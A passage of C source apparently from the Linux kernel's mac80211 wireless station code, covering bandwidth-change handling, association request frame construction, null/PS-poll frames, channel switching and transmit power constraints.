-EINVAL; /* * if bss configuration changed store the new one - * this may be applicable even if channel is identical */ ht_opmode = le16_to_cpu(ht_oper->operation_mode); if (sdata->vif.bss_conf.ht_operation_mode != ht_opmode) { *changed |= BSS_CHANGED_HT; sdata->vif.bss_conf.ht_operation_mode = ht_opmode; } chan = sdata->vif.bss_conf.chandef.chan; sband = local->hw.wiphy->bands[chan->band]; /* calculate new channel (type) based on HT/VHT operation IEs */ flags = ieee80211_determine_chantype(sdata, sband, chan, ht_cap, ht_oper, vht_oper, &chandef, true); /* * Downgrade the new channel if we associated with restricted * capabilities. For example, if we associated as a 20 MHz STA * to a 40 MHz AP (due to regulatory, capabilities or config * reasons) then switching to a 40 MHz channel now won't do us * any good -- we couldn't use it with the AP. */ if (ifmgd->flags & IEEE80211_STA_DISABLE_80P80MHZ && chandef.width == NL80211_CHAN_WIDTH_80P80) flags |= ieee80211_chandef_downgrade(&chandef); if (ifmgd->flags & IEEE80211_STA_DISABLE_160MHZ && chandef.width == NL80211_CHAN_WIDTH_160) flags |= ieee80211_chandef_downgrade(&chandef); if (ifmgd->flags & IEEE80211_STA_DISABLE_40MHZ && chandef.width > NL80211_CHAN_WIDTH_20) flags |= ieee80211_chandef_downgrade(&chandef); if (cfg80211_chandef_identical(&chandef, &sdata->vif.bss_conf.chandef)) return 0; sdata_info(sdata, "AP %pM changed bandwidth, new config is %d MHz, width %d (%d/%d MHz)\n", ifmgd->bssid, chandef.chan->center_freq, chandef.width, chandef.center_freq1, chandef.center_freq2); if (flags != (ifmgd->flags & (IEEE80211_STA_DISABLE_HT | IEEE80211_STA_DISABLE_VHT | IEEE80211_STA_DISABLE_40MHZ | IEEE80211_STA_DISABLE_80P80MHZ | IEEE80211_STA_DISABLE_160MHZ)) || !cfg80211_chandef_valid(&chandef)) { sdata_info(sdata, "AP %pM changed bandwidth in a way we can't support - disconnect\n", ifmgd->bssid); return -EINVAL; } switch (chandef.width) { case NL80211_CHAN_WIDTH_20_NOHT: case NL80211_CHAN_WIDTH_20: new_sta_bw = IEEE80211_STA_RX_BW_20; break; case NL80211_CHAN_WIDTH_40: new_sta_bw = IEEE80211_STA_RX_BW_40; break; case NL80211_CHAN_WIDTH_80: new_sta_bw = IEEE80211_STA_RX_BW_80; break; case NL80211_CHAN_WIDTH_80P80: case NL80211_CHAN_WIDTH_160: new_sta_bw = IEEE80211_STA_RX_BW_160; break; default: return -EINVAL; } if (new_sta_bw > sta->cur_max_bandwidth) new_sta_bw = sta->cur_max_bandwidth; if (new_sta_bw < sta->sta.bandwidth) { sta->sta.bandwidth = new_sta_bw; rate_control_rate_update(local, sband, sta, IEEE80211_RC_BW_CHANGED); } ret = ieee80211_vif_change_bandwidth(sdata, &chandef, changed); if (ret) { sdata_info(sdata, "AP %pM changed bandwidth to incompatible one - disconnect\n", ifmgd->bssid); return ret; } if (new_sta_bw > sta->sta.bandwidth) { sta->sta.bandwidth = new_sta_bw; rate_control_rate_update(local, sband, sta, IEEE80211_RC_BW_CHANGED); } return 0; } /* frame sending functions */ static void ieee80211_add_ht_ie(struct ieee80211_sub_if_data *sdata, struct sk_buff *skb, u8 ap_ht_param, struct ieee80211_supported_band *sband, struct ieee80211_channel *channel, enum ieee80211_smps_mode smps) { u8 *pos; u32 flags = channel->flags; u16 cap; struct ieee80211_sta_ht_cap ht_cap; BUILD_BUG_ON(sizeof(ht_cap) != sizeof(sband->ht_cap)); memcpy(&ht_cap, &sband->ht_cap, sizeof(ht_cap)); ieee80211_apply_htcap_overrides(sdata, &ht_cap); /* determine capability flags */ cap = ht_cap.cap; switch (ap_ht_param & IEEE80211_HT_PARAM_CHA_SEC_OFFSET) { case IEEE80211_HT_PARAM_CHA_SEC_ABOVE: if (flags & IEEE80211_CHAN_NO_HT40PLUS) { cap &= ~IEEE80211_HT_CAP_SUP_WIDTH_20_40; cap &= ~IEEE80211_HT_CAP_SGI_40; } break; case IEEE80211_HT_PARAM_CHA_SEC_BELOW: if (flags & IEEE80211_CHAN_NO_HT40MINUS) { cap &= ~IEEE80211_HT_CAP_SUP_WIDTH_20_40; cap &= ~IEEE80211_HT_CAP_SGI_40; } break; } /* * If 40 MHz was disabled associate as though we weren't * capable of 40 MHz -- some broken APs will never fall * back to trying to transmit in 20 MHz. */ if (sdata->u.mgd.flags & IEEE80211_STA_DISABLE_40MHZ) { cap &= ~IEEE80211_HT_CAP_SUP_WIDTH_20_40; cap &= ~IEEE80211_HT_CAP_SGI_40; } /* set SM PS mode properly */ cap &= ~IEEE80211_HT_CAP_SM_PS; switch (smps) { case IEEE80211_SMPS_AUTOMATIC: case IEEE80211_SMPS_NUM_MODES: WARN_ON(1); case IEEE80211_SMPS_OFF: cap |= WLAN_HT_CAP_SM_PS_DISABLED << IEEE80211_HT_CAP_SM_PS_SHIFT; break; case IEEE80211_SMPS_STATIC: cap |= WLAN_HT_CAP_SM_PS_STATIC << IEEE80211_HT_CAP_SM_PS_SHIFT; break; case IEEE80211_SMPS_DYNAMIC: cap |= WLAN_HT_CAP_SM_PS_DYNAMIC << IEEE80211_HT_CAP_SM_PS_SHIFT; break; } /* reserve and fill IE */ pos = skb_put(skb, sizeof(struct ieee80211_ht_cap) + 2); ieee80211_ie_build_ht_cap(pos, &ht_cap, cap); } static void ieee80211_add_vht_ie(struct ieee80211_sub_if_data *sdata, struct sk_buff *skb, struct ieee80211_supported_band *sband, struct ieee80211_vht_cap *ap_vht_cap) { u8 *pos; u32 cap; struct ieee80211_sta_vht_cap vht_cap; u32 mask, ap_bf_sts, our_bf_sts; BUILD_BUG_ON(sizeof(vht_cap) != sizeof(sband->vht_cap)); memcpy(&vht_cap, &sband->vht_cap, sizeof(vht_cap)); ieee80211_apply_vhtcap_overrides(sdata, &vht_cap); /* determine capability flags */ cap = vht_cap.cap; if (sdata->u.mgd.flags & IEEE80211_STA_DISABLE_80P80MHZ) { u32 bw = cap & IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_MASK; cap &= ~IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_MASK; if (bw == IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160MHZ || bw == IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ) cap |= IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_160MHZ; } if (sdata->u.mgd.flags & IEEE80211_STA_DISABLE_160MHZ) { cap &= ~IEEE80211_VHT_CAP_SHORT_GI_160; cap &= ~IEEE80211_VHT_CAP_SUPP_CHAN_WIDTH_MASK; } /* * Some APs apparently get confused if our capabilities are better * than theirs, so restrict what we advertise in the assoc request. */ if (!(ap_vht_cap->vht_cap_info & cpu_to_le32(IEEE80211_VHT_CAP_SU_BEAMFORMER_CAPABLE))) cap &= ~IEEE80211_VHT_CAP_SU_BEAMFORMEE_CAPABLE; mask = IEEE80211_VHT_CAP_BEAMFORMEE_STS_MASK; ap_bf_sts = le32_to_cpu(ap_vht_cap->vht_cap_info) & mask; our_bf_sts = cap & mask; if (ap_bf_sts < our_bf_sts) { cap &= ~mask; cap |= ap_bf_sts; } /* reserve and fill IE */ pos = skb_put(skb, sizeof(struct ieee80211_vht_cap) + 2); ieee80211_ie_build_vht_cap(pos, &vht_cap, cap); } static void ieee80211_send_assoc(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct ieee80211_mgd_assoc_data *assoc_data = ifmgd->assoc_data; struct sk_buff *skb; struct ieee80211_mgmt *mgmt; u8 *pos, qos_info; size_t offset = 0, noffset; int i, count, rates_len, supp_rates_len, shift; u16 capab; struct ieee80211_supported_band *sband; struct ieee80211_chanctx_conf *chanctx_conf; struct ieee80211_channel *chan; u32 rate_flags, rates = 0; sdata_assert_lock(sdata); rcu_read_lock(); chanctx_conf = rcu_dereference(sdata->vif.chanctx_conf); if (WARN_ON(!chanctx_conf)) { rcu_read_unlock(); return; } chan = chanctx_conf->def.chan; rate_flags = ieee80211_chandef_rate_flags(&chanctx_conf->def); rcu_read_unlock(); sband = local->hw.wiphy->bands[chan->band]; shift = ieee80211_vif_get_shift(&sdata->vif); if (assoc_data->supp_rates_len) { /* * Get all rates supported by the device and the AP as * some APs don't like getting a superset of their rates * in the association request (e.g. D-Link DAP 1353 in * b-only mode)... */ rates_len = ieee80211_parse_bitrates(&chanctx_conf->def, sband, assoc_data->supp_rates, assoc_data->supp_rates_len, &rates); } else { /* * In case AP not provide any supported rates information * before association, we send information element(s) with * all rates that we support. */ rates_len = 0; for (i = 0; i < sband->n_bitrates; i++) { if ((rate_flags & sband->bitrates[i].flags) != rate_flags) continue; rates |= BIT(i); rates_len++; } } skb = alloc_skb(local->hw.extra_tx_headroom + sizeof(*mgmt) + /* bit too much but doesn't matter */ 2 + assoc_data->ssid_len + /* SSID */ 4 + rates_len + /* (extended) rates */ 4 + /* power capability */ 2 + 2 * sband->n_channels + /* supported channels */ 2 + sizeof(struct ieee80211_ht_cap) + /* HT */ 2 + sizeof(struct ieee80211_vht_cap) + /* VHT */ assoc_data->ie_len + /* extra IEs */ 9, /* WMM */ GFP_KERNEL); if (!skb) return; skb_reserve(skb, local->hw.extra_tx_headroom); capab = WLAN_CAPABILITY_ESS; if (sband->band == IEEE80211_BAND_2GHZ) { if (!(local->hw.flags & IEEE80211_HW_2GHZ_SHORT_SLOT_INCAPABLE)) capab |= WLAN_CAPABILITY_SHORT_SLOT_TIME; if (!(local->hw.flags & IEEE80211_HW_2GHZ_SHORT_PREAMBLE_INCAPABLE)) capab |= WLAN_CAPABILITY_SHORT_PREAMBLE; } if (assoc_data->capability & WLAN_CAPABILITY_PRIVACY) capab |= WLAN_CAPABILITY_PRIVACY; if ((assoc_data->capability & WLAN_CAPABILITY_SPECTRUM_MGMT) && (local->hw.flags & IEEE80211_HW_SPECTRUM_MGMT)) capab |= WLAN_CAPABILITY_SPECTRUM_MGMT; if (ifmgd->flags & IEEE80211_STA_ENABLE_RRM) capab |= WLAN_CAPABILITY_RADIO_MEASURE; mgmt = (struct ieee80211_mgmt *) skb_put(skb, 24); memset(mgmt, 0, 24); memcpy(mgmt->da, assoc_data->bss->bssid, ETH_ALEN); memcpy(mgmt->sa, sdata->vif.addr, ETH_ALEN); memcpy(mgmt->bssid, assoc_data->bss->bssid, ETH_ALEN); if (!is_zero_ether_addr(assoc_data->prev_bssid)) { skb_put(skb, 10); mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_REASSOC_REQ); mgmt->u.reassoc_req.capab_info = cpu_to_le16(capab); mgmt->u.reassoc_req.listen_interval = cpu_to_le16(local->hw.conf.listen_interval); memcpy(mgmt->u.reassoc_req.current_ap, assoc_data->prev_bssid, ETH_ALEN); } else { skb_put(skb, 4); mgmt->frame_control = cpu_to_le16(IEEE80211_FTYPE_MGMT | IEEE80211_STYPE_ASSOC_REQ); mgmt->u.assoc_req.capab_info = cpu_to_le16(capab); mgmt->u.assoc_req.listen_interval = cpu_to_le16(local->hw.conf.listen_interval); } /* SSID */ pos = skb_put(skb, 2 + assoc_data->ssid_len); *pos++ = WLAN_EID_SSID; *pos++ = assoc_data->ssid_len; memcpy(pos, assoc_data->ssid, assoc_data->ssid_len); /* add all rates which were marked to be used above */ supp_rates_len = rates_len; if (supp_rates_len > 8) supp_rates_len = 8; pos = skb_put(skb, supp_rates_len + 2); *pos++ = WLAN_EID_SUPP_RATES; *pos++ = supp_rates_len; count = 0; for (i = 0; i < sband->n_bitrates; i++) { if (BIT(i) & rates) { int rate = DIV_ROUND_UP(sband->bitrates[i].bitrate, 5 * (1 << shift)); *pos++ = (u8) rate; if (++count == 8) break; } } if (rates_len > count) { pos = skb_put(skb, rates_len - count + 2); *pos++ = WLAN_EID_EXT_SUPP_RATES; *pos++ = rates_len - count; for (i++; i < sband->n_bitrates; i++) { if (BIT(i) & rates) { int rate; rate = DIV_ROUND_UP(sband->bitrates[i].bitrate, 5 * (1 << shift)); *pos++ = (u8) rate; } } } if (capab & WLAN_CAPABILITY_SPECTRUM_MGMT || capab & WLAN_CAPABILITY_RADIO_MEASURE) { pos = skb_put(skb, 4); *pos++ = WLAN_EID_PWR_CAPABILITY; *pos++ = 2; *pos++ = 0; /* min tx power */ /* max tx power */ *pos++ = ieee80211_chandef_max_power(&chanctx_conf->def); } if (capab & WLAN_CAPABILITY_SPECTRUM_MGMT) { /* TODO: get this in reg domain format */ pos = skb_put(skb, 2 * sband->n_channels + 2); *pos++ = WLAN_EID_SUPPORTED_CHANNELS; *pos++ = 2 * sband->n_channels; for (i = 0; i < sband->n_channels; i++) { *pos++ = ieee80211_frequency_to_channel( sband->channels[i].center_freq); *pos++ = 1; /* one channel in the subband*/ } } /* if present, add any custom IEs that go before HT */ if (assoc_data->ie_len) { static const u8 before_ht[] = { WLAN_EID_SSID, WLAN_EID_SUPP_RATES, WLAN_EID_EXT_SUPP_RATES, WLAN_EID_PWR_CAPABILITY, WLAN_EID_SUPPORTED_CHANNELS, WLAN_EID_RSN, WLAN_EID_QOS_CAPA, WLAN_EID_RRM_ENABLED_CAPABILITIES, WLAN_EID_MOBILITY_DOMAIN, WLAN_EID_FAST_BSS_TRANSITION, /* reassoc only */ WLAN_EID_RIC_DATA, /* reassoc only */ WLAN_EID_SUPPORTED_REGULATORY_CLASSES, }; static const u8 after_ric[] = { WLAN_EID_SUPPORTED_REGULATORY_CLASSES, WLAN_EID_HT_CAPABILITY, WLAN_EID_BSS_COEX_2040, WLAN_EID_EXT_CAPABILITY, WLAN_EID_QOS_TRAFFIC_CAPA, WLAN_EID_TIM_BCAST_REQ, WLAN_EID_INTERWORKING, /* 60GHz doesn't happen right now */ WLAN_EID_VHT_CAPABILITY, WLAN_EID_OPMODE_NOTIF, }; noffset = ieee80211_ie_split_ric(assoc_data->ie, assoc_data->ie_len, before_ht, ARRAY_SIZE(before_ht), after_ric, ARRAY_SIZE(after_ric), offset); pos = skb_put(skb, noffset - offset); memcpy(pos, assoc_data->ie + offset, noffset - offset); offset = noffset; } if (WARN_ON_ONCE((ifmgd->flags & IEEE80211_STA_DISABLE_HT) && !(ifmgd->flags & IEEE80211_STA_DISABLE_VHT))) ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; if (!(ifmgd->flags & IEEE80211_STA_DISABLE_HT)) ieee80211_add_ht_ie(sdata, skb, assoc_data->ap_ht_param, sband, chan, sdata->smps_mode); /* if present, add any custom IEs that go before VHT */ if (assoc_data->ie_len) { static const u8 before_vht[] = { WLAN_EID_SSID, WLAN_EID_SUPP_RATES, WLAN_EID_EXT_SUPP_RATES, WLAN_EID_PWR_CAPABILITY, WLAN_EID_SUPPORTED_CHANNELS, WLAN_EID_RSN, WLAN_EID_QOS_CAPA, WLAN_EID_RRM_ENABLED_CAPABILITIES, WLAN_EID_MOBILITY_DOMAIN, WLAN_EID_SUPPORTED_REGULATORY_CLASSES, WLAN_EID_HT_CAPABILITY, WLAN_EID_BSS_COEX_2040, WLAN_EID_EXT_CAPABILITY, WLAN_EID_QOS_TRAFFIC_CAPA, WLAN_EID_TIM_BCAST_REQ, WLAN_EID_INTERWORKING, }; /* RIC already taken above, so no need to handle here anymore */ noffset = ieee80211_ie_split(assoc_data->ie, assoc_data->ie_len, before_vht, ARRAY_SIZE(before_vht), offset); pos = skb_put(skb, noffset - offset); memcpy(pos, assoc_data->ie + offset, noffset - offset); offset = noffset; } if (!(ifmgd->flags & IEEE80211_STA_DISABLE_VHT)) ieee80211_add_vht_ie(sdata, skb, sband, &assoc_data->ap_vht_cap); /* if present, add any custom non-vendor IEs that go after HT */ if (assoc_data->ie_len) { noffset = ieee80211_ie_split_vendor(assoc_data->ie, assoc_data->ie_len, offset); pos = skb_put(skb, noffset - offset); memcpy(pos, assoc_data->ie + offset, noffset - offset); offset = noffset; } if (assoc_data->wmm) { if (assoc_data->uapsd) { qos_info = ifmgd->uapsd_queues; qos_info |= (ifmgd->uapsd_max_sp_len << IEEE80211_WMM_IE_STA_QOSINFO_SP_SHIFT); } else { qos_info = 0; } pos = ieee80211_add_wmm_info_ie(skb_put(skb, 9), qos_info); } /* add any remaining custom (i.e. vendor specific here) IEs */ if (assoc_data->ie_len) { noffset = assoc_data->ie_len; pos = skb_put(skb, noffset - offset); memcpy(pos, assoc_data->ie + offset, noffset - offset); } drv_mgd_prepare_tx(local, sdata); IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_INTFL_DONT_ENCRYPT; if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_CTL_REQ_TX_STATUS | IEEE80211_TX_INTFL_MLME_CONN_TX; ieee80211_tx_skb(sdata, skb); } void ieee80211_send_pspoll(struct ieee80211_local *local, struct ieee80211_sub_if_data *sdata) { struct ieee80211_pspoll *pspoll; struct sk_buff *skb; skb = ieee80211_pspoll_get(&local->hw, &sdata->vif); if (!skb) return; pspoll = (struct ieee80211_pspoll *) skb->data; pspoll->frame_control |= cpu_to_le16(IEEE80211_FCTL_PM); IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_INTFL_DONT_ENCRYPT; ieee80211_tx_skb(sdata, skb); } void ieee80211_send_nullfunc(struct ieee80211_local *local, struct ieee80211_sub_if_data *sdata, int powersave) { struct sk_buff *skb; struct ieee80211_hdr_3addr *nullfunc; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; skb = ieee80211_nullfunc_get(&local->hw, &sdata->vif); if (!skb) return; nullfunc = (struct ieee80211_hdr_3addr *) skb->data; if (powersave) nullfunc->frame_control |= cpu_to_le16(IEEE80211_FCTL_PM); IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_INTFL_DONT_ENCRYPT | IEEE80211_TX_INTFL_OFFCHAN_TX_OK; if (local->hw.flags & IEEE80211_HW_REPORTS_TX_ACK_STATUS) IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_CTL_REQ_TX_STATUS; if (ifmgd->flags & IEEE80211_STA_CONNECTION_POLL) IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_CTL_USE_MINRATE; ieee80211_tx_skb(sdata, skb); } static void ieee80211_send_4addr_nullfunc(struct ieee80211_local *local, struct ieee80211_sub_if_data *sdata) { struct sk_buff *skb; struct ieee80211_hdr *nullfunc; __le16 fc; if (WARN_ON(sdata->vif.type != NL80211_IFTYPE_STATION)) return; skb = dev_alloc_skb(local->hw.extra_tx_headroom + 30); if (!skb) return; skb_reserve(skb, local->hw.extra_tx_headroom); nullfunc = (struct ieee80211_hdr *) skb_put(skb, 30); memset(nullfunc, 0, 30); fc = cpu_to_le16(IEEE80211_FTYPE_DATA | IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS); nullfunc->frame_control = fc; memcpy(nullfunc->addr1, sdata->u.mgd.bssid, ETH_ALEN); memcpy(nullfunc->addr2, sdata->vif.addr, ETH_ALEN); memcpy(nullfunc->addr3, sdata->u.mgd.bssid, ETH_ALEN); memcpy(nullfunc->addr4, sdata->vif.addr, ETH_ALEN); IEEE80211_SKB_CB(skb)->flags |= IEEE80211_TX_INTFL_DONT_ENCRYPT; ieee80211_tx_skb(sdata, skb); } /* spectrum management related things */ static void ieee80211_chswitch_work(struct work_struct *work) { struct ieee80211_sub_if_data *sdata = container_of(work, struct ieee80211_sub_if_data, u.mgd.chswitch_work); struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; int ret; if (!ieee80211_sdata_running(sdata)) return; sdata_lock(sdata); mutex_lock(&local->mtx); mutex_lock(&local->chanctx_mtx); if (!ifmgd->associated) goto out; if (!sdata->vif.csa_active) goto out; /* * using reservation isn't immediate as it may be deferred until later * with multi-vif. once reservation is complete it will re-schedule the * work with no reserved_chanctx so verify chandef to check if it * completed successfully */ if (sdata->reserved_chanctx) { /* * with multi-vif csa driver may call ieee80211_csa_finish() * many times while waiting for other interfaces to use their * reservations */ if (sdata->reserved_ready) goto out; ret = ieee80211_vif_use_reserved_context(sdata); if (ret) { sdata_info(sdata, "failed to use reserved channel context, disconnecting (err=%d)\n", ret); ieee80211_queue_work(&sdata->local->hw, &ifmgd->csa_connection_drop_work); goto out; } goto out; } if (!cfg80211_chandef_identical(&sdata->vif.bss_conf.chandef, &sdata->csa_chandef)) { sdata_info(sdata, "failed to finalize channel switch, disconnecting\n"); ieee80211_queue_work(&sdata->local->hw, &ifmgd->csa_connection_drop_work); goto out; } /* XXX: shouldn't really modify cfg80211-owned data! */ ifmgd->associated->channel = sdata->csa_chandef.chan; ifmgd->csa_waiting_bcn = true; ieee80211_sta_reset_beacon_monitor(sdata); ieee80211_sta_reset_conn_monitor(sdata); out: mutex_unlock(&local->chanctx_mtx); mutex_unlock(&local->mtx); sdata_unlock(sdata); } static void ieee80211_chswitch_post_beacon(struct ieee80211_sub_if_data *sdata) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; int ret; sdata_assert_lock(sdata); WARN_ON(!sdata->vif.csa_active); if (sdata->csa_block_tx) { ieee80211_wake_vif_queues(local, sdata, IEEE80211_QUEUE_STOP_REASON_CSA); sdata->csa_block_tx = false; } sdata->vif.csa_active = false; ifmgd->csa_waiting_bcn = false; ret = drv_post_channel_switch(sdata); if (ret) { sdata_info(sdata, "driver post channel switch failed, disconnecting\n"); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); return; } cfg80211_ch_switch_notify(sdata->dev, &sdata->reserved_chandef); } void ieee80211_chswitch_done(struct ieee80211_vif *vif, bool success) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; trace_api_chswitch_done(sdata, success); if (!success) { sdata_info(sdata, "driver channel switch failed, disconnecting\n"); ieee80211_queue_work(&sdata->local->hw, &ifmgd->csa_connection_drop_work); } else { ieee80211_queue_work(&sdata->local->hw, &ifmgd->chswitch_work); } } EXPORT_SYMBOL(ieee80211_chswitch_done); static void ieee80211_chswitch_timer(unsigned long data) { struct ieee80211_sub_if_data *sdata = (struct ieee80211_sub_if_data *) data; ieee80211_queue_work(&sdata->local->hw, &sdata->u.mgd.chswitch_work); } static void ieee80211_sta_process_chanswitch(struct ieee80211_sub_if_data *sdata, u64 timestamp, u32 device_timestamp, struct ieee802_11_elems *elems, bool beacon) { struct ieee80211_local *local = sdata->local; struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; struct cfg80211_bss *cbss = ifmgd->associated; struct ieee80211_chanctx_conf *conf; struct ieee80211_chanctx *chanctx; enum ieee80211_band current_band; struct ieee80211_csa_ie csa_ie; struct ieee80211_channel_switch ch_switch; int res; sdata_assert_lock(sdata); if (!cbss) return; if (local->scanning) return; /* disregard subsequent announcements if we are already processing */ if (sdata->vif.csa_active) return; current_band = cbss->channel->band; memset(&csa_ie, 0, sizeof(csa_ie)); res = ieee80211_parse_ch_switch_ie(sdata, elems, current_band, ifmgd->flags, ifmgd->associated->bssid, &csa_ie); if (res < 0) ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); if (res) return; if (!cfg80211_chandef_usable(local->hw.wiphy, &csa_ie.chandef, IEEE80211_CHAN_DISABLED)) { sdata_info(sdata, "AP %pM switches to unsupported channel (%d MHz, width:%d, CF1/2: %d/%d MHz), disconnecting\n", ifmgd->associated->bssid, csa_ie.chandef.chan->center_freq, csa_ie.chandef.width, csa_ie.chandef.center_freq1, csa_ie.chandef.center_freq2); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); return; } mutex_lock(&local->mtx); mutex_lock(&local->chanctx_mtx); conf = rcu_dereference_protected(sdata->vif.chanctx_conf, lockdep_is_held(&local->chanctx_mtx)); if (!conf) { sdata_info(sdata, "no channel context assigned to vif?, disconnecting\n"); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); mutex_unlock(&local->chanctx_mtx); mutex_unlock(&local->mtx); return; } chanctx = container_of(conf, struct ieee80211_chanctx, conf); if (local->use_chanctx && !(local->hw.flags & IEEE80211_HW_CHANCTX_STA_CSA)) { sdata_info(sdata, "driver doesn't support chan-switch with channel contexts\n"); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); mutex_unlock(&local->chanctx_mtx); mutex_unlock(&local->mtx); return; } ch_switch.timestamp = timestamp; ch_switch.device_timestamp = device_timestamp; ch_switch.block_tx = csa_ie.mode; ch_switch.chandef = csa_ie.chandef; ch_switch.count = csa_ie.count; if (drv_pre_channel_switch(sdata, &ch_switch)) { sdata_info(sdata, "preparing for channel switch failed, disconnecting\n"); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); mutex_unlock(&local->chanctx_mtx); mutex_unlock(&local->mtx); return; } res = ieee80211_vif_reserve_chanctx(sdata, &csa_ie.chandef, chanctx->mode, false); if (res) { sdata_info(sdata, "failed to reserve channel context for channel switch, disconnecting (err=%d)\n", res); ieee80211_queue_work(&local->hw, &ifmgd->csa_connection_drop_work); mutex_unlock(&local->chanctx_mtx); mutex_unlock(&local->mtx); return; } mutex_unlock(&local->chanctx_mtx); sdata->vif.csa_active = true; sdata->csa_chandef = csa_ie.chandef; sdata->csa_block_tx = csa_ie.mode; if (sdata->csa_block_tx) ieee80211_stop_vif_queues(local, sdata, IEEE80211_QUEUE_STOP_REASON_CSA); mutex_unlock(&local->mtx); cfg80211_ch_switch_started_notify(sdata->dev, &csa_ie.chandef, csa_ie.count); if (local->ops->channel_switch) { /* use driver's channel switch callback */ drv_channel_switch(local, sdata, &ch_switch); return; } /* channel switch handled in software */ if (csa_ie.count <= 1) ieee80211_queue_work(&local->hw, &ifmgd->chswitch_work); else mod_timer(&ifmgd->chswitch_timer, TU_TO_EXP_TIME((csa_ie.count - 1) * cbss->beacon_interval)); } static bool ieee80211_find_80211h_pwr_constr(struct ieee80211_sub_if_data *sdata, struct ieee80211_channel *channel, const u8 *country_ie, u8 country_ie_len, const u8 *pwr_constr_elem, int *chan_pwr, int *pwr_reduction) { struct ieee80211_country_ie_triplet *triplet; int chan = ieee80211_frequency_to_channel(channel->center_freq); int i, chan_increment; bool have_chan_pwr = false; /* Invalid IE */ if (country_ie_len % 2 || country_ie_len < IEEE80211_COUNTRY_IE_MIN_LEN) return false; triplet = (void *)(country_ie + 3); country_ie_len -= 3; switch (channel->band) { default: WARN_ON_ONCE(1); /* fall through */ case IEEE80211_BAND_2GHZ: case IEEE80211_BAND_60GHZ: chan_increment = 1; break; case IEEE80211_BAND_5GHZ: chan_increment = 4; break; } /* find channel */ while (country_ie_len >= 3) { u8 first_channel = triplet->chans.first_channel; if (first_channel >= IEEE80211_COUNTRY_EXTENSION_ID) goto next; for (i = 0; i < triplet->chans.num_channels; i++) { if (first_channel + i * chan_increment == chan) { have_chan_pwr = true; *chan_pwr = triplet->chans.max_power; break; } } if (have_chan_pwr) break; next: triplet++; country_ie_len -= 3; } if (have_chan_pwr && pwr_constr_elem) *pwr_reduction = *pwr_constr_elem; else *pwr_reduction = 0; return have_chan_pwr; } static void ieee80211_find_cisco_dtpc(struct ieee80211_sub_if_data *sdata, struct ieee80211_channel *channel, const u8 *cisco_dtpc_ie, int *pwr_level) { /* From practical testing, the first data byte of the DTPC element * seems to contain the requested dBm level, and the CLI on Cisco * APs clearly state the range is -127 to 127 dBm, which indicates * a signed byte, although it seemingly never actually goes negative. * The other byte seems to always be zero. */ *pwr_level = (__s8)cisco_dtpc_ie[4]; } static u32 ieee80211_handle_pwr_constr(struct ieee80211_sub_if_data *sdata, struct ieee80211_channel *channel, struct ieee80211_mgmt *mgmt, const u8 *country_ie, u8 country_ie_len, const u8 *pwr_constr_ie, const u8 *cisco_dtpc_ie) { bool has_80211h_pwr = false, has_cisco_pwr = false; int chan_pwr = 0, pwr_reduction_80211h = 0; int pwr_level_cisco, pwr_level_80211h; int new_ap_level; __le16 capab = mgmt->u.probe_resp.capab_info; if (country_ie && (capab & cpu_to_le16(WLAN_CAPABILITY_SPECTRUM_MGMT) || capab & cpu_to_le16(WLAN_CAPABILITY_RADIO_MEASURE))) { has_80211h_pwr = ieee80211_find_80211h_pwr_constr( sdata, channel, country_ie, country_ie_len, pwr_constr_ie, &chan_pwr, &pwr_reduction_80211h); pwr_level_80211h = max_t(int, 0, chan_pwr - pwr_reduction_80211h); } if (cisco_dtpc_ie) { ieee80211_find_cisco_dtpc( sdata, channel, cisco_dtpc_ie, &pwr_level_cisco); has_cisco_pwr = true; } if (!has_80211h_pwr && !has_cisco_pwr) return 0; /* If we have both 802.11h and Cisco DTPC, apply both limits * by picking the smallest of the two power levels advertised. */ if (has_80211h_pwr && (!has_cisco_pwr || pwr_level_80211h <= pwr_level_cisco)) { sdata_info(sdata, "Limiting TX power to %d (%d - %d) dBm as advertised by %pM\n", pwr_level_80211h, chan_pwr, pwr_reduction_80211h, sdata->u.mgd.bssid); new_ap_level = pwr_level_80211h; } else { /* has_cisco_pwr is always true here. */ sdata_info(sdata, "Limiting TX power to %d dBm as advertised by %pM\n", pwr_level_cisco, sdata->u.mgd.bssid); new_ap_level = pwr_level_cisco; } if (sdata->ap_power_level == new_ap_level) return 0; sdata->ap_power_level = new_ap_level; if (__ieee80211_recalc_txpower(sdata)) return BSS_CHANGED_TXPOWER; return 0; } /* powersave */ static void ieee80211_enable_ps(struct ieee80211_local *local, struct ieee80211_sub_if_data *sdata) { struct ieee80211_conf *conf = &local->hw.conf; /* * If we are scanning right now then the parameters will * take effect when scan finishes. */ if (local->scanning) return; if (conf->dynamic_ps_timeout > 0 && !(local->hw.flags & IEEE80211_HW_SUPPORTS_DYNAMIC_PS)) { 